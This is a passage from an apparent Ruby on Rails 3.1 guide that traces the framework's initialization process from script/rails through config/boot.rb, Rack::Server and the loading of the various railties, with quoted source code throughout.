    exec_script_rails! unless cwd == Dir.pwd
  end
rescue SystemCallError
  # could not chdir, no problem just return
end
```

This method will first check if the current working directory (`cwd`) is a Rails application or a subdirectory of one. This is determined by the `in_rails_application?` method:

```
def self.in_rails_application?
  File.exists?(SCRIPT_RAILS)
end
```

The `SCRIPT_RAILS` constant defined earlier is used here, with `File.exists?` checking for its presence in the current directory. If this method returns `false` then `in_rails_application_subdirectory?` will be used:

```
def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
  File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
end
```

This climbs the directory tree until it reaches a path which contains a `script/rails` file. If a directory containing this file is reached then this line will run:

```
exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
```

This is effectively the same as running `ruby script/rails [arguments]`, where `[arguments]` at this point in time is simply "server".

1.3 `script/rails`

This file is as follows:

```
APP_PATH = File.expand_path('../../config/application',  __FILE__)
require File.expand_path('../../config/boot',  __FILE__)
require 'rails/commands'
```

The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.

1.4 `config/boot.rb`

`config/boot.rb` contains this:

```
require 'rubygems'

# Set up gems listed in the Gemfile.
gemfile = File.expand_path('../../Gemfile', __FILE__)
begin
  ENV['BUNDLE_GEMFILE'] = gemfile
  require 'bundler'
  Bundler.setup
```

```
rescue Bundler::GemNotFound => e
  STDERR.puts e.message
  STDERR.puts "Try running `bundle install`."
  exit!
end if File.exist?(gemfile)
```

In a standard Rails application, there's a `Gemfile` which declares all dependencies of the application. `config/boot.rb` sets `ENV["BUNDLE_GEMFILE"]` to the location of this file, then requires Bundler and calls `Bundler.setup` which adds the dependencies of the application (including all the Rails parts) to the load path, making them available for the application to load. The gems that a Rails 3.1 application depends on are as follows:

- abstract (1.0.0)
- actionmailer (3.1.0.beta)
- actionpack (3.1.0.beta)
- activemodel (3.1.0.beta)
- activerecord (3.1.0.beta)
- activeresource (3.1.0.beta)
- activesupport (3.1.0.beta)
- arel (2.0.7)
- builder (3.0.0)
- bundler (1.0.6)
- erubis (2.6.6)
- i18n (0.5.0)
- mail (2.2.12)
- mime-types (1.16)
- polyglot (0.3.1)
- rack (1.2.1)
- rack-cache (0.5.3)
- rack-mount (0.6.13)
- rack-test (0.5.6)
- rails (3.1.0.beta)
- railties (3.1.0.beta)
- rake (0.8.7)
- sqlite3-ruby (1.3.2)
- thor (0.14.6)
- treetop (1.4.9)
- tzinfo (0.3.23)

1.5 `rails/commands.rb`

Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines:

```
aliases = {
  "g"  => "generate",
  "c"  => "console",
  "s"  => "server",
  "db" => "dbconsole",
  "r"  => "runner"
}

command = ARGV.shift
command = aliases[command] || command
```

If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code:

```
when 'server'
  # Change to the application's path if there is no config.ru file in current dir.
  # This allows us to run script/rails server from other directories, but still get
  # the main config.ru and properly set the tmp directory.
  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))

  require 'rails/commands/server'
  Rails::Server.new.tap { |server|
    # We need to require application after the server sets environment,
    # otherwise the --environment option given to the server won't propagate.
    require APP_PATH
    Dir.chdir(Rails.application.root)
    server.start
  }
```

This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which requires `action_dispatch` and sets up the `Rails::Server` class.

1.6 `actionpack/lib/action_dispatch.rb`

Action Dispatch is the routing component of the Rails framework. It depends on Active Support, `actionpack/lib/action_pack.rb` and `Rack` being available. The first thing required here is `active_support`.

1.7 `activesupport/lib/active_support.rb`

This file begins with requiring `active_support/lib/active_support/dependencies/autoload.rb` which redefines Ruby's `autoload` method to have a little more extra behaviour especially in regards to eager autoloading. Eager autoloading is the loading of all required classes and will happen when the `config.cache_classes` setting is `true`. The required file also requires another file: `active_support/lazy_load_hooks`

1.8 `activesupport/lib/active_support/lazy_load_hooks.rb`

This file defines the `ActiveSupport.on_load` hook which is used to execute code when specific parts are loaded. We'll see this in use a little later on.

This file begins with requiring `active_support/inflector/methods`.

1.9 `activesupport/lib/active_support/inflector/methods.rb`

The `methods.rb` file is responsible for defining methods such as `camelize`, `underscore` and `dasherize` as well as a slew of others. The **`ActiveSupport::Inflector` documentation** covers them all pretty decently.

In this file there are a lot of lines such as this inside the `ActiveSupport` module:

```
autoload :Inflector
```

Due to the overriding of the `autoload` method, Ruby will know how to look for this file at `activesupport/lib/active_support/inflector.rb` when the `Inflector` class is first referenced.

The `active_support/lib/active_support/version.rb` that is also required here simply defines an `ActiveSupport::VERSION` constant which defines a couple of constants inside this module, the main constant of this is `ActiveSupport::VERSION::STRING` which returns the current version of ActiveSupport.

The `active_support/lib/active_support.rb` file simply defines the `ActiveSupport` module and some autoloads (eager and of the normal variety) for it.

1.10 `actionpack/lib/action_dispatch.rb` cont'd.

Now back to `action_pack/lib/action_dispatch.rb`. The next `require` in this file is one for `action_pack`, which simply calls `action_pack/version.rb` which defines `ActionPack::VERSION` and the constants, much like `ActiveSpport` does.

After this line, there's a require to `active_model` which simply defines autoloads for the `ActiveModel` part of Rails and sets up the `ActiveModel` module which is used later on.

The last of the requires is to `rack`, which like the `active_model` and `active_support` requires before it, sets up the `Rack` module as well as the autoloads for constants within it.

Finally in `action_dispatch.rb` the `ActionDispatch` module and **its** autoloads are declared.

1.11 `rails/commands/server.rb`

The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`:

```
def initialize(*)
  super
  set_environment
end
```

Firstly, `super` is called which calls the `initialize` method on `Rack::Server`.

1.12 Rack: `lib/rack/server.rb`

`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.

The `initialize` method in `Rack::Server` simply sets a couple of variables:

```
def initialize(options = nil)
  @options = options
  @app = options[:app] if options && options[:app]
end
```

In this case, `options` will be `nil` so nothing happens in this method.

After `super` has finished in `Rack::Server`, we jump back to `rails/commands/server.rb`. At this point, `set_environment` is called within the context of the `Rails::Server` object and this method doesn't appear to do much at first glance:

```
def set_environment
  ENV["RAILS_ENV"] ||= options[:environment]
end
```

In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this:

```
def options
  @options ||= parse_options(ARGV)
end
```

Then `parse_options` is defined like this:

```
def parse_options(args)
  options = default_options

  # Don't evaluate CGI ISINDEX parameters.
  # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
  args.clear if ENV.include?("REQUEST_METHOD")

  options.merge! opt_parser.parse! args
  options[:config] = ::File.expand_path(options[:config])
  ENV["RACK_ENV"] = options[:environment]
  options
end
```

With the `default_options` set to this:

```
def default_options
  {
    :environment => ENV['RACK_ENV'] || "development",
    :pid         => nil,
    :Port        => 9292,
    :Host        => "0.0.0.0",
    :AccessLog   => [],
    :config      => "config.ru"
  }
end
```

There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`

```
def opt_parser
  Options.new
end
```

The class **is** defined in `Rack::Server`, but is overwritten in `Rails::Server` to take different arguments. Its `parse!` method begins like this:

```
def parse!(args)
  args, options = args.dup, {}

  opt_parser = OptionParser.new do |opts|
    opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
    opts.on("-p", "--port=port", Integer,
            "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
  ...
```

This method will set up keys for the `options` which Rails will then be able to use to determine how its server should run. After `initialize` has finished, then the `start` method will launch the server.

1.13 `Rails::Server#start`

This method is defined like this:

```
def start
  puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
  puts "=> Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}"
  puts "=> Call with -d to detach" unless options[:daemonize]
  trap(:INT) { exit }
  puts "=> Ctrl-C to shutdown server" unless options[:daemonize]

  #Create required tmp directories if not found
  %w(cache pids sessions sockets).each do |dir_to_make|
    FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
  end

  super
ensure
  # The '-h' option calls exit before @options is set.
  # If we call 'options' with it unset, we get double help banners.
  puts 'Exiting' unless @options && options[:daemonize]
end
```

This is where the first output of the Rails initialization happens. This method creates a trap for `INT` signals, so if you `CTRLC` the server, it will exit the process. As we can see from the code here, it will create the tmp/cache, tmp/pids, tmp/sessions and tmp/sockets directories if they don't already exist prior to calling super. The super method will call Rack::Server.start+ which begins its definition like this:

```
def start
  if options[:warn]
    $-w = true
  end

  if includes = options[:include]
    $LOAD_PATH.unshift(*includes)
  end

  if library = options[:require]
    require library
  end

  if options[:debug]
    $DEBUG = true
    require 'pp'
    p options[:server]
    pp wrapped_app
    pp app
  end
end
```

In a Rails application, these options are not set at all and therefore aren't used at all. The first line of code that's executed in this method is a call to this method:

```
wrapped_app
```

This method calls another method:

```
@wrapped_app ||= build_app app
```

Then the app method here is defined like so:

```
def app
  @app ||= begin
    if !::File.exist? options[:config]
      abort "configuration #{options[:config]} not found"
    end

    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
    self.options.merge! options
    app
  end
end
```

The `options[:config]` value defaults to `config.ru` which contains this:

```
# This file is used by Rack-based servers to start the application.
```

```
require ::File.expand_path('../config/environment',  __FILE__)
run YourApp::Application
```

The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:

```
app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
    TOPLEVEL_BINDING, config
```

The `initialize` method will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The `require` line for `config/environment.rb` in `config.ru` is the first to run:

```
require ::File.expand_path('../config/environment',  __FILE__)
```

1.14 `config/environment.rb`

This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.

This file begins with requiring `config/application.rb`.

1.15 `config/application.rb`

This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.

Then the fun begins!

2 Loading Rails

The next line in `config/application.rb` is:

```
require 'rails/all'
```

2.1 `railties/lib/rails/all.rb`

This file is responsible for requiring all the individual parts of Rails like so:

```
require "rails"

%w(
    active_record
    action_controller
    action_mailer
    active_resource
    rails/test_unit
).each do |framework|
  begin
    require "#{framework}/railtie"
  rescue LoadError
  end
end
```

First off the line is the `rails` require itself.

2.2 `railties/lib/rails.rb`

This file is responsible for the initial definition of the `Rails` module and, rather than defining the autoloads like `ActiveSupport`, `ActionDispatch` and so on, it actually defines other functionality. Such as the `root`, `env` and `application` methods which are extremely useful in Rails 3 applications.

However, before all that takes place the `rails/ruby_version_check` file is required first.

2.3 `railties/lib/rails/ruby_version_check.rb`

This file simply checks if the Ruby version is less than 1.8.7 or is 1.9.1 and raises an error if that is the case. Rails 3 simply will not run on earlier versions of Ruby than 1.8.7 or 1.9.1.

You should always endeavor to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade.

2.4 `active_support/core_ext/kernel/reporting.rb`

This is the first of the many Active Support core extensions that come with Rails. This one in particular defines methods in the `Kernel` module which is mixed in to the `Object` class so the methods are available on `main` and can therefore be called like this:

```
silence_warnings do
  # some code
end
```

These methods can be used to silence STDERR responses and the `silence_stream` allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the **Silencing Warnings, Streams, and Exceptions** section from the Active Support Core Extensions Guide.

2.5 `active_support/core_ext/logger.rb`

The next file that is required is another Active Support core extension, this time to the `Logger` class. This begins by defining the `around_[level]` helpers for the `Logger` class as well as other methods such as a `datetime_format` getter and setter for the `formatter` object tied to a `Logger` object.

For more information see the **Extensions to Logger** section from the Active Support Core Extensions Guide.

2.6 `railties/lib/rails/application.rb`

The next file required by `railties/lib/rails.rb` is `application.rb`. This file defines the `Rails::Application` constant which the application's class defined in `config/application.rb` in a standard Rails application depends on. Before the `Rails::Application` class is defined however, there's some other files that get required first.

The first of these is `active_support/core_ext/hash/reverse_merge` which can be **read about in the Active Support Core Extensions guide** under the "Merging" section.

2.7 `active_support/file_update_checker.rb`

The `ActiveSupport::FileUpdateChecker` class defined within this file is responsible for checking if a file has been updated since it was last checked. This is used for monitoring the routes file for changes during development environment runs.

2.8 `railties/lib/rails/plugin.rb`

This file defines `Rails::Plugin` which inherits from `Rails::Engine`. Unlike `Rails::Engine` and `Rails::Railtie` however, this class is not designed to be inherited from. Instead, this is used simply for loading plugins from within an application and an engine.

This file begins by requiring `rails/engine.rb`

2.9 `railties/lib/rails/engine.rb`

The `rails/engine.rb` file defines the `Rails::Engine` class which inherits from `Rails::Railtie`. The `Rails::Engine` class defines much of the functionality found within a standard application class such as the `routes` and `config` methods.

The **API documentation** for `Rails::Engine` explains the function of this class pretty well.

This file's first line requires `rails/railtie.rb`.

2.10 `railties/lib/rails/railtie.rb`

The `rails/railtie.rb` file is responsible for defining `Rails::Railtie`, the underlying class for all ties to Rails now. Gems that want to have their own initializers or rake tasks and hook into Rails should have a `GemName::Railtie` class that inherits from `Rails::Railtie`.

The **API documentation** for `Rails::Railtie`, much like `Rails::Engine`, explains this class exceptionally well.

The first require in this file is `rails/initializable.rb`.

2.11 `railties/lib/rails/initializable.rb`

Now we reach the end of this particular rabbit hole as `rails/initializable.rb` doesn't require any more Rails files, only `tsort` from the Ruby standard library.

This file defines the `Rails::Initializable` module which contains the `Initializer` class, the basis for all initializers in Rails. This module also contains a `ClassMethods` class which will be included into the `Rails::Railtie` class when these requires have finished.

Now that `rails/initializable.rb` has finished being required from `rails/railtie.rb`, the next require is for `rails/configuration`.

2.12 railties/lib/rails/configuration.rb

This file defines the `Rails::Configuration` module, containing the `MiddlewareStackProxy` class as well as the `Generators` class. The `MiddlewareStackProxy` class is used for managing the middleware stack for an application, which we'll see later on. The `Generators` class provides the functionality used for configuring what generators an application uses through the **`config.generators` option**.

The first file required in this file is `activesupport/deprecation`.

2.13 activesupport/lib/active_support/deprecation.rb

This file, and the files it requires, define the basic deprecation warning features found in Rails. This file is responsible for setting defaults in the `ActiveSupport::Deprecation` module for the `deprecation_horizon`, `silenced` and `debug` values. The files that are required before this happens are:

- `active_support/deprecation/behaviors`
- `active_support/deprecation/reporting`
- `active_support/deprecation/method_wrappers`
- `active_support/deprecation/proxy_wrappers`

2.14 activesupport/lib/active_support/deprecation/behaviors.rb

This file defines the behavior of the `ActiveSupport::Deprecation` module, setting up the `DEFAULT_BEHAVIORS` hash constant which contains the three defaults to outputting deprecation warnings: `:stderr`, `:log` and `:notify`. This file begins by requiring `activesupport/notifications` and `activesupport/core_ext/array/wrap`.

2.15 activesupport/lib/active_support/notifications.rb

This file defines the `ActiveSupport::Notifications` module. Notifications provides an instrumentation API for Ruby, shipping with a queue implementation that consumes and publish events to log subscribers in a thread.

The **API documentation** for `ActiveSupport::Notifications` explains the usage of this module, including the methods that it defines.

The file required in `active_support/notifications.rb` is `active_support/core_ext/module/delegation` which is documented in the **Active Support Core Extensions Guide**.

2.16 activesupport/core_ext/array/wrap

As this file comprises of a core extension, it is covered exclusively in **the Active Support Core Extensions guide**

2.17 activesupport/lib/active_support/deprecation/reporting.rb

This file is responsible for defining the `warn` and `silence` methods for `ActiveSupport::Deprecation` as well as additional private methods for this module.

2.18 activesupport/lib/active_support/deprecation/method_wrappers.rb

This file defines a `deprecate_methods` which is primarily used by the `module/deprecation` core extension required by the first line of this file. Other core extensions required by this file are the `module/aliasing` and `array/extract_options` files.

2.19 activesupport/lib/active_support/deprecation/proxy_wrappers.rb

`proxy_wrappers.rb` defines deprecation wrappers for methods, instance variables and constants. Previously, this was used for the `RAILS_ENV` and `RAILS_ROOT` constants for 3.0 but since then these constants have been removed. The deprecation message that would be raised from these would be something like:

```
BadConstant is deprecated! Use GoodConstant instead.
```

2.20 active_support/ordered_options

This file is the next file required from `rails/configuration.rb` is the file that defines `ActiveSupport::OrderedOptions` which is used for configuration options such as `config.active_support` and the like.

The next file required is `active_support/core_ext/hash/deep_dup` which is covered in **Active Support Core Extensions guide**

The file that is required next from is `rails/paths`

2.21 railties/lib/rails/paths.rb

This file defines the `Rails::Paths` module which allows paths to be configured for a Rails application or engine. Later on in this guide when we cover Rails configuration during the initialization process we'll see this used to set up some default paths for Rails and some of them will be configured to be eager loaded.

2.22 `railties/lib/rails/rack.rb`

The final file to be loaded by `railties/lib/rails/configuration.rb` is `rails/rack` which defines some simple autoloads:

```
module Rails
  module Rack
    autoload :Debugger,  "rails/rack/debugger"
    autoload :Logger,    "rails/rack/logger"
    autoload :LogTailer, "rails/rack/log_tailer"
    autoload :Static,    "rails/rack/static"
  end
end
```

Once this file is finished loading, then the `Rails::Configuration` class is initialized. This completes the loading of `railties/lib/rails/configuration.rb` and now we jump back to the loading of `railties/lib/rails/railtie.rb`, where the next file loaded is `active_support/inflector`.

2.23 `activesupport/lib/active_support/inflector.rb`

`active_support/inflector.rb` requires a series of file which are responsible for setting up the basics for knowing how to pluralize and singularize words. These files are:

```
require 'active_support/inflector/inflections'
require 'active_support/inflector/transliterate'
require 'active_support/inflector/methods'

require 'active_support/inflections'
require 'active_support/core_ext/string/inflections'
```

The `active_support/inflector/methods` file has already been required by `active_support/autoload` and so won't be loaded again here. The `activesupport/lib/active_support/inflector/inflections.rb` is required by `active_support/inflector/methods`.

2.24 `active_support/inflections`

This file references the `ActiveSupport::Inflector` constant which isn't loaded by this point. But there were autoloads set up in `activesupport/lib/active_support.rb` which will load the file which loads this constant and so then it will be defined. Then this file defines pluralization and singularization rules for words in Rails. This is how Rails knows how to pluralize "tomato" to "tomatoes".

2.25 `activesupport/lib/active_support/inflector/transliterate.rb`

In this file is where the **`transliterate`** and `parameterize`:http://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-parameterize methods are defined. The documentation for both of these methods is very much worth reading.

2.26 Back to `railties/lib/rails/railtie.rb`

Once the inflector files have been loaded, the `Rails::Railtie` class is defined. This class includes a module called `Initializable`, which is actually `Rails::Initializable`. This module includes the `initializer` method which is used later on for setting up initializers, amongst other methods.

2.27 `railties/lib/rails/initializable.rb`

When the module from this file (`Rails::Initializable`) is included, it extends the class it's included into with the `ClassMethods` module inside of it. This module defines the `initializer` method which is used to define initializers throughout all of the railties. This file completes the loading of `railties/lib/rails/railtie.rb`. Now we go back to `rails/engine.rb`.

2.28 `railties/lib/rails/engine.rb`

The next file required in `rails/engine.rb` is `active_support/core_ext/module/delegation` which is documented in the **Active Support Core Extensions Guide**.

The next two files after this are Ruby standard library files: `pathname` and `rbconfig`. The file after these is `rails/engine/railties`.

2.29 `railties/lib/rails/engine/railties.rb`

This file defines the `Rails::Engine::Railties` class which provides the `engines` and `railties` methods which are used later on for defining rake tasks and other functionality for engines and railties.

2.30 Back to `railties/lib/rails/engine.rb`

Once `rails/engine/railties.rb` has finished loading the `Rails::Engine` class gets its basic functionality defined, such as the `inherited` method which will be called when this class is inherited from.

Once this file has finished loading we jump back to `railties/lib/rails/plugin.rb`

2.31 Back to `railties/lib/rails/plugin.rb`

The next file required in this is a core extension from Active Support called `array/conversions` which is covered in **this section** of the Active Support Core Extensions Guide.

Once that file has finished loading, the `Rails::Plugin` class is defined.

2.32 Back to `railties/lib/rails/application.rb`

Jumping back to `rails/application.rb` now. This file defines the `Rails::Application` class where the application's class inherits from. This class (and its superclasses) define the basic behaviour on the application's constant such as the `config` method used for configuring the application.

Once this file's done then we go back to the `railties/lib/rails.rb` file, which next requires `rails/version`.

2.33 `railties/lib/rails/version.rb`

Much like `active_support/version`, this file defines the `VERSION` constant which has a `STRING` constant on it which returns the current version of Rails.

Once this file has finished loading we go back to `railties/lib/rails.rb` which then requires `active_support/railtie.rb`.

2.34 `activesupport/lib/active_support/railtie.rb`

This file requires `active_support` and `rails` which have already been required so these two lines are effectively ignored. The third require in this file is to `active_support/i18n_railtie.rb`.

2.35 `activesupport/lib/active_support/i18n_railtie.rb`

This file is the first file that sets up configuration with these lines inside the class:

```
class Railtie < Rails::Railtie
  config.i18n = ActiveSupport::OrderedOptions.new
  config.i18n.railties_load_path = []
  config.i18n.load_path = []
  config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
```

By inheriting from `Rails::Railtie` the `Rails::Railtie#inherited` method is called:

```
def inherited(base)
  unless base.abstract_railtie?
    base.send(:include, Railtie::Configurable)
    subclasses << base
  end
end
```

This first checks if the Railtie that's inheriting it is a component of Rails itself:

```
ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Plugin Rails::Engine Rails::Application)

...

def abstract_railtie?
  ABSTRACT_RAILTIES.include?(name)
end
```

Because `I18n::Railtie` isn't in this list, `abstract_railtie?` returns `false`. Therefore the `Railtie::Configurable` module is included into this class and the `subclasses` method is called and `I18n::Railtie` is added to this new array.

```
def subclasses
  @subclasses ||= []
```

```
end
```

The `config` method used at the top of `I18n::Railtie` is defined on `Rails::Railtie` and is defined like this:

```
def config
  @config ||= Railtie::Configuration.new
end
```

At this point, that `Railtie::Configuration` constant is automatically loaded which causes the `rails/railties/configuration` file to be loaded. The line for this is this particular line in `railties/lib/rails/railtie.rb`:

```
autoload :Configuration, "rails/railtie/configuration"
```

2.36 `railties/lib/rails/railtie/configuration.rb`

This file begins with a require out to `rails/configuration` which has already been required earlier in the process and so isn't required again.

This file defines the `Rails::Railtie::Configuration` class which is responsible for providing a way to easily configure railties and it's the `initialize` method here which is called by the `config` method back in the `i18n_railtie.rb` file. The methods on this object don't exist, and so are rescued by the `method_missing` defined further down in `configuration.rb`:

```
def method_missing(name, *args, &blk)
  if name.to_s =~ /=$/
    @@options[$`.to_sym] = args.first
  elsif @@options.key?(name)
    @@options[name]
  else
    super
  end
end
```

So therefore when an option is referred to it simply stores the value as the key if it's used in a setter context, or retrieves it if used in a getter context. Nothing fancy going on there.

2.37 Back to `activesupport/lib/active_support/i18n_railtie.rb`

After the configuration method the `reloader` method is defined, and then the first of of Railties' initializers is defined: `i18n.callbacks`.

```
initializer "i18n.callbacks" do
  ActionDispatch::Reloader.to_prepare do
    I18n::Railtie.reloader.execute_if_updated
  end
end
```

The `initializer` method (from the `Rails::Initializable` module) here doesn't run the block, but rather stores it to be run later on:

```
def initializer(name, opts = {}, &blk)
  raise ArgumentError, "A block must be passed when defining an initializer" unless blk
  opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
  initializers << Initializer.new(name, nil, opts, &blk)
end
```

An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from `Rails::Railtie` may also make use of the `initializer` method, something which is covered in the **Configuration guide**.

The `Initializer` class here is defined within the `Rails::Initializable` module and its `initialize` method is defined to just set up a couple of variables:

```
def initialize(name, context, options, &block)
  @name, @context, @options, @block = name, context, options, block
end
```

Once this `initialize` method is finished, the object is added to the object the `initializers` method returns:

```
def initializers
  @initializers ||= self.class.initializers_for(self)
end
```

If `@initializers` isn't set (which it won't be at this point), the `intializers_for` method will be called for this class.

```
def initializers_for(binding)
  Collection.new(initializers_chain.map { |i| i.bind(binding) })
end
```

The `Collection` class in `railties/lib/rails/initializable.rb` inherits from `Array` and includes the `TSort` module which is used to sort out the order of the initializers based on the order they are placed in.

The `initializers_chain` method referenced in the `initializers_for` method is defined like this:

```
def initializers_chain
  initializers = Collection.new
 ancestors.reverse_each do | klass |
    next unless klass.respond_to?(:initializers)
    initializers = initializers + klass.initializers
  end
  initializers
end
```

This method collects the initializers from the ancestors of this class and adds them to a new `Collection` object using the + method which is defined like this for the `Collection` class:

```
def +(other)
  Collection.new(to_a + other.to_a)
end
```

So this `method is overridden to return a new collection comprising of the existing collection as an array and then using the Array#` method combines these two collections, returning a "super" `Collection` object. In this case, the only initializer that's going to be in this new `Collection` object is the `i18n.callbacks` initializer.

The next method to be called after this `initializer` method is the `after_initialize` method on the `config` object, which is defined like this:

```
def after_initialize(&block)
  ActiveSupport.on_load(:after_initialize, :yield => true, &block)
end
```

The `on_load` method here is provided by the `active_support/lazy_load_hooks` file which was required earlier and is defined like this:

```
def self.on_load(name, options = {}, &block)
  if base = @loaded[name]
    execute_hook(base, options, block)
  else
    @load_hooks[name] << [block, options]
  end
end
```

The `@loaded` variable here is a hash containing elements representing the different components of Rails that have been loaded at this stage. Currently, this hash is empty. So the `else` is executed here, using the `@load_hooks` variable defined in `active_support/lazy_load_hooks`:

```
@load_hooks = Hash.new {|h,k| h[k] = [] }
```

This defines a new hash which has keys that default to empty arrays. This saves Rails from having to do something like this instead:

```
@load_hooks[name] = []
@load_hooks[name] << [block, options]
```

The value added to this array here consists of the block and options passed to `after_initialize`.

We'll see these `@load_hooks` used later on in the initialization process.

This rest of `i18n_railtie.rb` defines the protected class methods `include_fallback_modules`, `init_fallbacks` and `validate_fallbacks`.

2.38 Back to `activesupport/lib/active_support/railtie.rb`

This file defines the `ActiveSupport::Railtie` constant which like the `I18n::Railtie` constant just defined, inherits from `Rails::Railtie` meaning the `inherited` method would be called again here, including `Rails::Configurable` into this class. This class makes use of `Rails::Railtie`'s `config` method again, setting up the configuration options for Active Support.

Then this Railtie sets up three more initializers:

- `active_support.initialize_whiny_nils`

- active_support.deprecation_behavior
- active_support.initialize_time_zone

We will cover what each of these initializers do when they run.

Once the active_support/railtie file has finished loading the next file required from railties/lib/rails.rb is the action_dispatch/railtie.

2.39 activesupport/lib/action_dispatch/railtie.rb

This file defines the ActionDispatch::Railtie class, but not before requiring action_dispatch.

2.40 activesupport/lib/action_dispatch.rb

This file attempts to locate the active_support and active_model libraries by looking a couple of directories back from the current file and then adds the active_support and active_model lib directories to the load path, but only if they aren't already, which they are.

```
activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)

activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path)
```

In effect, these lines only define the activesupport_path and activemodel_path variables and nothing more.

The next two requires in this file are already done, so they are not run:

```
require 'active_support'
require 'active_support/dependencies/autoload'
```

The following require is to action_pack (activesupport/lib/action_pack.rb) which has a 22-line copyright notice at the top of it and ends in a simple require to action_pack/version. This file, like other version.rb files before it, defines the ActionPack::VERSION constant:

```
module ActionPack
  module VERSION #:nodoc:
    MAJOR = 3
    MINOR = 1
    TINY  = 0
    PRE   = "beta"

    STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
  end
end
```

Once action_pack is finished, then active_model is required.

2.41 activemodel/lib/active_model.rb

This file makes a require to active_model/version which defines the version for Active Model:

```
module ActiveModel
  module VERSION #:nodoc:
    MAJOR = 3
    MINOR = 1
    TINY  = 0
    PRE   = "beta"

    STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
  end
end
```

Once the version.rb file is loaded, the ActiveModel module has its autoloaded constants defined as well as a sub-module called ActiveModel::Serializers which has autoloads of its own. When the ActiveModel module is closed the active_support/i18n file is required.

2.42 activesupport/lib/active_support/i18n.rb

This is where the i18n gem is required and first configured:

```
begin
  require 'i18n'
  require 'active_support/lazy_load_hooks'
rescue LoadError => e
```

```
rescue LoadError => e
  $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install"
  raise e
end

I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
```

In effect, the `I18n` module first defined by `i18n_railtie` is extended by the `i18n` gem, rather than the other way around. This has no ill effect. They both work on the same way.

This is another spot where `active_support/lazy_load_hooks` is required, but it has already been required so it's not loaded again.

If `i18n` cannot be loaded, the user is presented with an error which says that it cannot be loaded and recommends that it's added to the `Gemfile`. However, in a normal Rails application this gem would be loaded.

Once it has finished loading, the `I18n.load_path` method is used to add the `activesupport/lib/active_support/locale/en.yml` file to I18n's load path. When the translations are loaded in the initialization process, this is one of the files where they will be sourced from.

The loading of this file finishes the loading of `active_model` and so we go back to `action_dispatch`.

2.43 Back to `activesupport/lib/action_dispatch.rb`

The remainder of this file requires the `rack` file from the Rack gem which defines the `Rack` module. After `rack`, there's autoloads defined for the `Rack`, `ActionDispatch`, `ActionDispatch::Http`, `ActionDispatch::Session`. A new method called `autoload_under` is used here, and this simply prefixes the files where the modules are autoloaded from with the path specified. For example here:

```
autoload_under 'testing' do
  autoload :Assertions
...
```

The `Assertions` module is in the `action_dispatch/testing` folder rather than simply `action_dispatch`.

Finally, this file defines a top-level autoload, the `Mime` constant.

2.44 Back to `activesupport/lib/action_dispatch/railtie.rb`

After `action_dispatch` is required in this file, the `ActionDispatch::Railtie` class is defined and is yet another class that inherits from `Rails::Railtie`. This class defines some initial configuration option defaults for `config.action_dispatch` before setting up a single initializer called `action_dispatch.configure`.

With `action_dispatch/railtie` now complete, we go back to `railties/lib/rails.rb`.

2.45 Back to `railties/lib/rails.rb`

With the Active Support and Action Dispatch railties now both loaded, the rest of this file deals with setting up UTF-8 to be the default encoding for Rails and then finally setting up the `Rails` module. This module defines useful methods such as `Rails.logger`, `Rails.application`, `Rails.env`, and `Rails.root`.

2.46 Back to `railties/lib/rails/all.rb`

Now that `rails.rb` is required, the remaining railties are loaded next, beginning with `active_record/railtie`.

2.47 `activerecord/lib/active_record/railtie.rb`

Before this file gets into the swing of defining the `ActiveRecord::Railtie` class, there are a couple of files that are required first. The first one of these is `active_record`.

